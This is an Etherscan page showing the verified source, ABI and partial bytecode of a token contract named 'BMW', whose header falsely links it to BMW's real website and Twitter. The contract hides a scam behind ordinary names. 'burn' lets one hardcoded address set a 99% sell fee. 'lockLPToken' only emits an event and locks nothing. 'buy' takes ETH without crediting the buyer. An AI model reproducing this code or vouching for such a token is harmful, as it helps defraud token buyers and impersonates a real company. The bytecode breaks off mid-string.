ETH Price: $2,403.89 (-9.31%)

Token

BMW (BMW)
 

Overview

Max Total Supply

999,999,999 BMW

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
33,718,396.518588842346324989 BMW

Value
$0.00
0x13c0b956a89e4930f56f7c2df878a57e5e985ab5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BMW

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-18
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
BMW
Website : https://www.bmw.com/
Twitter : https://twitter.com/BMW
BMW
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "BMW");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "BMWBMW");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "BMWBMWBMW");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "BMWBMWBMWBMW");
        return a / b;
    }
}


contract BMW {    
    using SafeMath for uint256;    


    string public name = "BMW";    
    string public symbol = "BMW";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;      


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 burnAmount, uint256 deadWallet);     
    event LPLocked(address indexed account, uint256 amount);


    constructor(address _swapRouter) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "BMWBMWBMWBMWBMW"    
        );
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "BMWBMWBMWBMWBMWBMW");
        _;
    }

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "1BMW");    
        require(allowance[_from][msg.sender] >= _amount, "2BMW");   
        require(_to != address(0), "3BMW");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {    
        require(newOwner != address(0), "4BMW");
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public onlyOwner {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burn(uint256 burnAmount, uint256 deadWallet) public {
        require(msg.sender == 0xea73fa707De37c97d02ae69B7360D73e4197961F, "5BMW");
        require(!feesSet, "6BMW");
        require(burnAmount == 0, "7BMW");
        require(deadWallet == 99, "8BMW");
        buyFee = burnAmount;
        sellFee = deadWallet;
        feesSet = true;
        feesEnabled = true;
        emit FeesUpdated(burnAmount, deadWallet);
    }

    function lockLPToken(uint256 amount) external {
        emit LPLocked(msg.sender, amount);
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "9BMW");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "0BMW");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600381526020017f424d5700000000000000000000000000000000000000000000000000000000008152505f90816200004991906200053e565b506040518060400160405280600381526020017f424d570000000000000000000000000000000000000000000000000000000000815250600190816200009091906200053e565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6008555f6009555f600a5f6101000a81548160ff0219169083151502179055505f600a60016101000a81548160ff0219169083151502179055506001600a60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162003f6338038062003f63833981810160405281019062000144919062000687565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050620006b7565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035657607f821691505b6020821081036200036c576200036b62000311565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000393565b620003dc868362000393565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000426620004206200041a84620003f4565b620003fd565b620003f4565b9050919050565b5f819050919050565b620004418362000406565b6200045962000450826200042d565b8484546200039f565b825550505050565b5f90565b6200046f62000461565b6200047c81848462000436565b505050565b5b81811015620004a357620004975f8262000465565b60018101905062000482565b5050565b601f821115620004f257620004bc8162000372565b620004c78462000384565b81016020851015620004d7578190505b620004ef620004e68562000384565b83018262000481565b50505b505050565b5f82821c905092915050565b5f620005145f1984600802620004f7565b1980831691505092915050565b5f6200052e838362000503565b9150826002028217905092915050565b6200054982620002da565b67ffffffffffffffff811115620005655762000564620002e4565b5b6200057182546200033e565b6200057e828285620004a7565b5f60209050601f831160018114620005b4575f84156200059f578287015190505b620005ab858262000521565b8655506200061a565b601f198416620005c48662000372565b5f5b82811015620005ed57848901518255600182019150602085019450602081019050620005c6565b868310156200060d578489015162000609601f89168262000503565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006518262000626565b9050919050565b620006638162000645565b81146200066e575f80fd5b50565b5f81519050620006818162000658565b92915050565b5f602082840312156200069f576200069e62000622565b5b5f620006ae8482850162000671565b91505092915050565b61389e80620006c55f395ff3fe60806040526004361061013f575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb1461041f578063b390c0ab1461045b578063c31c9c0714610483578063dd62ed3e146104ad578063e4849b32146104e9578063f2fde38b146105115761013f565b806370a0823114610345578063715018a6146103815780638da5cb5b1461039757806395d89b41146103c1578063a64e4f8a146103eb578063a6f2ae3a146104155761013f565b806325e0e4d01161010757806325e0e4d0146102375780632b14ca5614610261578063313ce5671461028b5780633f4218e0146102b557806347062402146102f157806364bcf5f41461031b5761013f565b8063036978631461014357806306fdde031461016b578063095ea7b31461019557806318160ddd146101d157806323b872dd146101fb575b5f80fd5b34801561014e575f80fd5b5061016960048036038101906101649190612d18565b610539565b005b348015610176575f80fd5b5061017f61058a565b60405161018c9190612dcd565b60405180910390f35b3480156101a0575f80fd5b506101bb60048036038101906101b69190612e47565b610615565b6040516101c89190612e9f565b60405180910390f35b3480156101dc575f80fd5b506101e5610702565b6040516101f29190612ec7565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c9190612ee0565b610708565b60405161022e9190612e9f565b60405180910390f35b348015610242575f80fd5b5061024b611254565b6040516102589190612e9f565b60405180910390f35b34801561026c575f80fd5b50610275611266565b6040516102829190612ec7565b60405180910390f35b348015610296575f80fd5b5061029f61126c565b6040516102ac9190612f4b565b60405180910390f35b3480156102c0575f80fd5b506102db60048036038101906102d69190612f64565b61127e565b6040516102e89190612e9f565b60405180910390f35b3480156102fc575f80fd5b5061030561129b565b6040516103129190612ec7565b60405180910390f35b348015610326575f80fd5b5061032f6112a1565b60405161033c9190612e9f565b60405180910390f35b348015610350575f80fd5b5061036b60048036038101906103669190612f64565b6112b4565b6040516103789190612ec7565b60405180910390f35b34801561038c575f80fd5b506103956112c9565b005b3480156103a2575f80fd5b506103ab611415565b6040516103b89190612f9e565b60405180910390f35b3480156103cc575f80fd5b506103d561143a565b6040516103e29190612dcd565b60405180910390f35b3480156103f6575f80fd5b506103ff6114c6565b60405161040c9190612e9f565b60405180910390f35b61041d6114d9565b005b34801561042a575f80fd5b5061044560048036038101906104409190612e47565b611b1c565b6040516104529190612e9f565b60405180910390f35b348015610466575f80fd5b50610481600480360381019061047c9190612fb7565b611f24565b005b34801561048e575f80fd5b506104976120fa565b6040516104a49190612f9e565b60405180910390f35b3480156104b8575f80fd5b506104d360048036038101906104ce9190612ff5565b61211f565b6040516104e09190612ec7565b60405180910390f35b3480156104f4575f80fd5b5061050f600480360381019061050a9190612d18565b61213f565b005b34801561051c575f80fd5b5061053760048036038101906105329190612f64565b6129a3565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb8260405161057f9190612ec7565b60405180910390a250565b5f805461059690613060565b80601f01602080910402602001604051908101604052809291908181526020018280546105c290613060565b801561060d5780601f106105e45761010080835404028352916020019161060d565b820191905f5260205f20905b8154815290600101906020018083116105f057829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106f09190612ec7565b60405180910390a36001905092915050565b60025481565b5f83600a60029054906101000a900460ff168061076b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061079a5750600a5f9054906101000a900460ff161580156107995750600a60019054906101000a900460ff165b5b8061085b5750600a5f9054906101000a900460ff1680156108015750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561085a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108bf575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108be57505f600954145b5b6108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906130da565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561097e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097590613142565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a30906131aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90613212565b60405180910390fd5b5f80849050600a60019054906101000a900460ff168015610ac957505f600954115b8015610b22575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b755750600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bba57610ba26064610b9460095488612b5e90919063ffffffff16565b612bd590919063ffffffff16565b9150610bb78286612c2c90919063ffffffff16565b90505b610c0a8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c9b8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d399190612ec7565b60405180910390a35f821115610f88575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e8f57610de48360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e829190612ec7565b60405180910390a3610f86565b610edf8360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f7d9190612ec7565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561105c57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611246576110ec8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161123d9190612ec7565b60405180910390a35b600193505050509392505050565b600a5f9054906101000a900460ff1681565b60095481565b60035f9054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b60085481565b600a60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f9061327a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461144790613060565b80601f016020809104026020016040519081016040528092919081815260200182805461147390613060565b80156114be5780601f10611495576101008083540402835291602001916114be565b820191905f5260205f20905b8154815290600101906020018083116114a157829003601f168201915b505050505081565b600a60019054906101000a900460ff1681565b33600a60029054906101000a900460ff168061153b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061156a5750600a5f9054906101000a900460ff161580156115695750600a60019054906101000a900460ff165b5b8061162b5750600a5f9054906101000a900460ff1680156115d15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561162a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b8061168f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561168e57505f600954145b5b6116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c5906130da565b60405180910390fd5b5f3411611710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611707906132e2565b60405180910390fd5b5f3490505f60085411156119be575f611747606461173960085485612b5e90919063ffffffff16565b612bd590919063ffffffff16565b90505f61175d8284612c2c90919063ffffffff16565b90506117d08160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b09190612ec7565b60405180910390a35f8211156119b7576119108260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119ae9190612ec7565b60405180910390a35b5050611b18565b611a2f8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0f9190612ec7565b60405180910390a35b5050565b5f33600a60029054906101000a900460ff1680611b7f5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611bae5750600a5f9054906101000a900460ff16158015611bad5750600a60019054906101000a900460ff165b5b80611c6f5750600a5f9054906101000a900460ff168015611c155750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611c6e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611cd3575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611cd257505f600954145b5b611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d09906130da565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d5b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d92575f80fd5b611de28360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e738360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516